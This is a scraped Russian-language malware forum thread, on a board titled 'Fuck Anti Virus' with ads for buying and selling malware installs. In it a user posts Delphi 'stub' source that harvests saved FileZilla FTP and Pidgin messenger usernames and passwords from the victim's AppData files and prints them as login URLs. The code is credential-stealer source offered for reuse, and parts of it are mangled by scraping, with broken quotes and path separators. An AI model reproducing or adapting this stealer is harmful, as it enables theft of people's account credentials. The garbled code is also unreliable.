|LoadsSell.net - Мы продаем загрузки| |PlohihZagRusOK.net - у нас нет плохих загрузок| |installsmarket.net - качественные загрузки любых стран| |installsdealer.com - Ваши дилеры на рынке инсталлов| |ZagruzkiNah.Com - чоткие загрузы| |107928 - продаю загрузки|

 
Prev Предыдущее сообщение   Следующее сообщение Next
Старый 3 недель(и) назад   #1
WestSide

Windows 98

Регистрация: 19.11.2010
Сообщений: 163
Поблагодарили всего: 81
за это сообщение: 1
По умолчанию Восстанавливаем пароли, сохраненные в Pidgin & Filezilla

PHP код:
program stub;
//by assd//
{$APPTYPE CONSOLE}

uses
  windows
,
  
registryjstrparssysutils;


Type TSystemPath=(DesktopAppdata,StartMenu,Programs,Startup,Personalwinrootwinsys);

Function 
GetSystemPath(SystemPath:TSystemPath):string;   
var 
p:pchar;
begin  
with TRegistry
.Create do
try  
RootKey := HKEY_CURRENT_USER;   
OpenKey('\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders'True);   
case 
SystemPath of  
Desktop
Result:=ReadString('Desktop');
StartMenu:Result:=ReadString('Start Menu');   
Programs:Result:=ReadString('Programs');   
Startup:Result:=ReadString('Startup');   
Personal:Result:=ReadString('Personal');
Appdata:Result:=ReadString('Appdata');
Winroot:begin  
GetMem
(p,255);
GetWindowsDirectory(p,254);
result:=String(p);
Freemem(p);   
end;   
WinSys:begin  
GetMem
(p,255);   
GetSystemDirectory(p,254);   
result:=String(p);
Freemem(p);   
end;
end;   
finally
CloseKey
;
free;   
end;   
if (
result<>'') and (result***91;length(result)***93;<>'\') then result:=result+'';   
end;
var tf:TextFile; s, t, tmp, rs,  fz1, fz2, fz3, fz4:string;
begin
  s:=GetSystemPath(Appdata);
  t:=s+'
FileZillarecentservers.xml';
  writeln('
FileZilla:');
  if fileexists(t) then
  begin
    AssignFile(tf,t);
    Reset(tf);
    while not Eof(tf) do
    begin
      Readln(tf,tmp);
      if pos('
<Host>',tmp)<>0 then
      begin
        fz1:=pars1(pars2(tmp,'
>'),'</Host>');
      end else
      if pos('
<Port>',tmp)<>0 then
      begin
        fz2:=pars1(pars2(tmp,'
>'),'</Port>');
      end else
      if pos('
<User>',tmp)<>0 then
      begin
        fz3:=pars1(pars2(tmp,'
>'),'</User>');
      end else
      if pos('
<Pass>',tmp)<>0 then
      begin
        fz4:=pars1(pars2(tmp,'
>'),'</Pass>');
        rs:='
ftp://'+fz3+':'+fz4+'@'+fz1+':'+fz2+'/';
        
writeln(rs);
      
end;
    
end;
    
CloseFile(tf);
  
end;
  
writeln('-----------------------');
  
writeln('Pidgin:');
  
t:=s+'.purple\accounts.xml';
  if 
fileexists(tthen
  begin
    AssignFile
(tf,t);
    
Reset(tf);
    while 
not Eof(tf) do
    
begin
      Readln
(tf,tmp);
      if 
pos('<protocol>',tmp)<>0 then
      begin
        fz1
:=pars1(pars2(tmp,'>'),'</protocol>');
        
fz1:=ReStr(fz1,'prpl-','');
      
end else
      if 
pos('<name>',tmp)<>0 then
      begin
        fz2
:=pars1(pars2(tmp,'>'),'</name>');
      
end else
      if 
pos('<password>',tmp)<>0 then
      begin
        fz3
:=pars1(pars2(tmp,'>'),'</password>');
        
rs:=fz1+'://'+fz2+':'+fz3+'/';
        
writeln(rs);
      
end;
    
end;
    
CloseFile(tf);
  
end;
  
readln;
end
WestSide вне форума  
Сказали 'Спасибо' за это сообщение.
Ответить с цитированием
Сказали спасибо:
Dave (3 недель(и) назад)
 

Нижняя навигация
Вернуться   Fuck Anti Virus > Работаем с файлами > Source


Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 

(Подробнее Тему прочитали: 4
Dave, VaD75, ZiMMy, _Stealer_
Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход


Часовой пояс GMT +4, время: 15:05.


Powered by vBulletin® Version 3.8.4
Copyright ©2000 - 2010, Jelsoft Enterprises Ltd. Перевод: zCarot